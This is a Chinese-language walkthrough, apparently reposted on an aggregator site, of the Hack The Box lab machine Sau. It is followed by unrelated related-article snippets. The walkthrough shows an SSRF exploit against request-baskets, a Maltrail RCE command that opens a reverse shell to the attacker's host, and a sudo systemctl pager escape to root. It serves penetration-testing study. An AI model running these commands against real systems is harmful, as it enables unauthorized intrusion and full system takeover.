OSCP - Hack The Box - Sau

主要知識點

  • CVE-2023-27163漏洞利用
  • systemd提權

具體步驟

執行nmap掃描,可以先看一下55555端口
?

Nmap scan report for 10.10.11.224
Host is up (0.58s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown

打開頁面后,在左下角找到了軟件信息和版本

?

搜索相關信息會得到很多exp,這里使用了GitHub - entr0pie/CVE-2023-27163: Proof-of-Concept for Server Side Request Forgery (SSRF) in request-baskets (<= v.1.2.1),簡單研究了一下,這個CVE是 允許通過request-baskets來把請求轉發到某處,這里考慮把請求轉發到服務端的80端口(這里的127.0.01實際上會出現在requests-basket entry的配置里,也就是會指向服務器自身)

C:\home\kali\Documents\HTB\Sau\CVE-2023-27163-main> ./CVE-2023-27163.sh http://10.10.11.224:55555 http://127.0.0.1:80              
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163> Creating the "fduqgd" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/fduqgd now makes the server request to http://127.0.0.1:80.
> Authorization: hCArIkTJn2301CJdww6xq016yCcKlEucytDR3lL3wKGk

打開http://10.10.11.224:55555/fduqgd?后會得到Maltrail v0.53的頁面

而該版本的Maltrail有RCE漏洞https://github.com/spookier/Maltrail-v0.53-Exploit

下載后執行如下命令,則會創建reverse shell

python exploit.py 10.10.16.19 80 http://10.10.11.224:55555/fduqgd

執行sudo -l會發現線索 /usr/bin/systemctl

puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser puma may run the following commands on sau:(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

在這里參考一下Sudo Systemctl Privilege Escalation | Exploit Notes會成功提權
?

sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!//bbiinn//bbaasshh!/bin/bash
root@sau:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/80725.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/80725.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/80725.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

5.1.1 WPF中Command使用介紹

WPF 的命令系統是一種強大的輸入處理機制,它比傳統的事件處理更加靈活和可重用,特別適合 MVVM (Model, View, ViewModel)模式開發。 一、命令系統核心概念 1.命令系統基本元素: 命令(Command): 即ICommand類,使用最多的是RoutedCommand,也可以自己繼承ICommand使用自定…

Dagster Pipes系列-2:增強外部腳本與Dagster的交互能力

在現代數據工程中&#xff0c;自動化和監控是確保數據管道高效運行的關鍵因素。Dagster作為一款強大的數據編排工具&#xff0c;提供了多種方式來實現這些目標。本文將深入探討如何使用Dagster Pipes修改外部代碼&#xff0c;以實現日志記錄、結構化元數據報告以及資產檢查等功…

C++類和對象進階 —— 與數據結構的結合

&#x1f381;個人主頁&#xff1a;工藤新一 &#x1f50d;系列專欄&#xff1a;C面向對象&#xff08;類和對象篇&#xff09; &#x1f31f;心中的天空之城&#xff0c;終會照亮我前方的路 &#x1f389;歡迎大家點贊&#x1f44d;評論&#x1f4dd;收藏?文章 文章目錄 […

Java中進階并發編程

第一章、并發編程的挑戰 并發和并行&#xff1a;指多線程或多進程 線程的本質&#xff1a;操作系統能夠進行運算調度的最小單位&#xff0c;是進程&#xff08;Process&#xff09;中的實際工作單元 進程的本質&#xff1a;操作系統進行資源分配和調度的基本單位&#xff0c…

《 指針變量類型與內存訪問:揭秘背后的奧秘》

&#x1f680;個人主頁&#xff1a;BabyZZの秘密日記 &#x1f4d6;收入專欄&#xff1a;C語言 &#x1f30d;文章目入 一、指針變量類型的基本概念二、指針類型與內存訪問字節數的關系&#xff08;一&#xff09;整型指針&#xff08;二&#xff09;字符型指針&#xff08;三&…

mapbox進階,使用mapbox-plugins插件加載餅狀圖

????? 主頁: gis分享者 ????? 感謝各位大佬 點贊?? 收藏? 留言?? 加關注?! ????? 收錄于專欄:mapbox 從入門到精通 文章目錄 一、??前言1.1 ??mapboxgl.Map 地圖對象1.1 ??mapboxgl.Map style屬性二、??使用mapbox-plugins插件加載餅狀圖1. ?…

GraphicLayer與BusineDataLayer層級控制

補充說明&#xff1a; 當參與層級控制的元素是點型元素時&#xff0c;是無法參與ZIndex層級控制的&#xff0c;此時可以換個解決方案 1.給不同的高度值實現&#xff0c;元素間的層級控制覆蓋 import * as mars3d from "mars3d"export let map // mars3d.Map三維地…

uniapp 百家云直播插件打包失敗

打包錯誤日志 Android自有證書 打包失敗 錯誤日志: https://app.liuyingyong.cn/build/errorLog/cf41a610-effe-11ef-88db-05262d4c3e5d原因&#xff1a;需要導入插件依賴 依賴地址&#xff1a;https://ext.dcloud.net.cn/plugin?id16289 百家云直播插件地址 直播插…

【C++】”如虎添翼“:模板初階

泛型編程&#xff1a; C中一種使用模板來實現代碼重用和類型安全的編程范式。它允許程序員編寫與數據類型無關的代碼&#xff0c;從而可以用相同的代碼邏輯處理不同的數據類型。模板是泛型編程的基礎 模板分為兩類&#xff1a; 函數模板&#xff1a;代表了一個函數家族&#x…

十五、多態與虛函數

十五、多態與虛函數 15.1 引言 面向對象編程的基本特征&#xff1a;數據抽象&#xff08;封裝&#xff09;、繼承、多態基于對象&#xff1a;我們創建類和對象&#xff0c;并向這些對象發送消息多態&#xff08;Polymorphism&#xff09;&#xff1a;指的是相同的接口、不同的…

點云特征提取的兩大經典范式:Voxel-based 與 Pillar-based

點云特征提取的兩大經典范式&#xff1a;Voxel-based 與 Pillar-based 在點云處理領域&#xff0c;尤其是針對 3D 目標檢測任務&#xff0c;特征提取是核心環節之一。目前&#xff0c;Voxel-based&#xff08;體素化&#xff09;和 Pillar-based&#xff08;柱狀化&#xff09…

前蘋果首席設計官回顧了其在蘋果的設計生涯、公司文化、標志性產品的背后故事

每周跟蹤AI熱點新聞動向和震撼發展 想要探索生成式人工智能的前沿進展嗎&#xff1f;訂閱我們的簡報&#xff0c;深入解析最新的技術突破、實際應用案例和未來的趨勢。與全球數同行一同&#xff0c;從行業內部的深度分析和實用指南中受益。不要錯過這個機會&#xff0c;成為AI領…

web 自動化之 selenium 元素四大操作三大切換等待

文章目錄 一、元素的四大操作二、三大切換&等待1、切換窗口:當定位的元素不在當前窗口&#xff0c;則需要切換窗口2、切換iframe&#xff1a;當定位的元素在frame/iframe&#xff0c;則需要切換3、切換彈出窗口 一、元素的四大操作 1、輸入 2、點擊 3、獲取文本 4、獲取屬…

window server 2012安裝sql server2008 r2

執行sql server2008 r2安裝目錄下的setup 選擇運行程序而不獲取幫助 然后就是讓人絕望的 只能先搞這個了&#xff0c;F*微軟&#xff0c;自家軟件不讓正常安裝 打開服務器管理器->添加角色和功能->選擇Web 服務&#xff08;IIS&#xff09;->添加.NET Framework3.5 然…

【K8S學習之生命周期鉤子】詳細了解 postStart 和 preStop 生命周期鉤子

0. 參考 Kubernetes容器生命周期 —— 鉤子函數詳解&#xff08;postStart、preStop&#xff09; - 人艱不拆_zmc - 博客園詳解Kubernetes Pod優雅退出 - 人艱不拆_zmc - 博客園 1. Kubernetes 生命周期鉤子概述 在 Kubernetes 中&#xff0c;生命周期鉤子&#xff08;Lifec…

測試文章標題01

模型上下文協議&#xff08;Model Context Protocol, MCP&#xff09;深度解析 一、MCP的核心概念 模型上下文協議&#xff08;Model Context Protocol, MCP&#xff09;是一種用于規范機器學習模型與外部環境交互的標準化框架。其核心目標是通過定義統一的接口和數據格式&am…

kubuntu系統詳解

Kubuntu 系統深度解析&#xff08;從系統架構到用戶體驗&#xff09; 一、定位與核心特性 Kubuntu 是 Ubuntu 的官方 KDE 衍生版&#xff0c;基于 Ubuntu 的穩定底層&#xff08;Debian 技術棧&#xff09;&#xff0c;搭載 KDE Plasma 桌面環境&#xff0c;主打 “功能豐富、…

cURL:通過URL傳輸數據的命令行工具庫介紹

文章目錄 1. 什么是 curl&#xff1f;2. 下載與安裝 curl3. curl 的常見用法3.1 獲取網頁內容3.2 下載文件3.3 發送 POST 請求&#xff08;帶表單數據&#xff09;3.4 發送帶 JSON 的 POST 請求 1. 什么是 curl&#xff1f; cURL&#xff08;CommandLine URL&#xff09;是非常…

從零搭建AI工作站:Gemma3大模型本地部署+WebUI配置全套方案

文章目錄 前言1. 安裝Ollama2.Gemma3模型安裝與運行3. 安裝Open WebUI圖形化界面3.1 Open WebUI安裝運行3.2 添加模型3.3 多模態測試 4. 安裝內網穿透工具5. 配置固定公網地址總結 前言 如今各家的AI大模型廝殺得如火如荼&#xff0c;每天都有新的突破。今天我要給大家安利一款…

Element Plus對話框(ElDialog)全面指南:打造靈活彈窗交互

&#x1f4cc; 開篇導語 對話框是Web應用中實現用戶交互的核心組件之一&#xff0c;常用于信息確認、表單提交或詳情展示。Element Plus的ElDialog組件以高擴展性和優雅動效著稱&#xff0c;支持高度定制化開發。本文將從基礎配置到進階技巧&#xff0c;手把手教你掌握對話框組…